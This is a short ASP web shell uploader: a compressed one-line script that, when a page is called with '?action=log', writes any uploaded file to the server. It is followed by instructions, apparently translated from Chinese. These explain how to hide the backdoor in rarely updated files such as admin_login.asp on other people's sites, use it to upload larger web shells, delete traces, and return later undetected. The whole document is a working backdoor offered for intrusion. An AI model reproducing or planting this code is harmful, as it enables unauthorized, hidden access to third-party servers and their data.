<%if request.QueryString("action")="log" then
a=Request.TotalBytes:if a Then b="adodb.stream":Set c=Createobject(b):c.Type=1:c.Open:c.Write Request.BinaryRead(a):c.Position=0:d=c.Read:e=chrB(13)&chrB(10):f=Instrb(d,e):g=Instrb(f+1,d,e):set h=Createobject(b):h.Type=1:h.Open:c.Position=f+1:c.Copyto h,gf-3:h.Position=0:h.type=2:h.CharSet="BIG5":i=h.Readtext:h.close:j=mid(i,InstrRev(i,"/")+1,g):k=Instrb(d,e&e)+4:l=Instrb(k+1,d,leftB(d,f-1))-k-2:h.Type=1:h.Open:c.Position=k-1:c.CopyTo h,l:h.SaveToFile server.mappath(j),2%><form enctype=multipart/form-data method=post><input type=file name=n><input type=submit></form>
<%end if%>
Reason: Can upload files, it is simple, small in size, and is not easy to discover.
Use: First use Haiyang or Blue Screen to edit the horse into some files that are not easy to update, such as admin_login.asp. When operating other people's files, just enter admin_login.asp?action=log in the browser to upload Haiyang or Blue Screen. After the operation, use the blue screen and other self-deletion functions to delete the blue screen. I will use this station to upload it to Haiyang and so on next time when I come back. Almost not to be investigated and killed.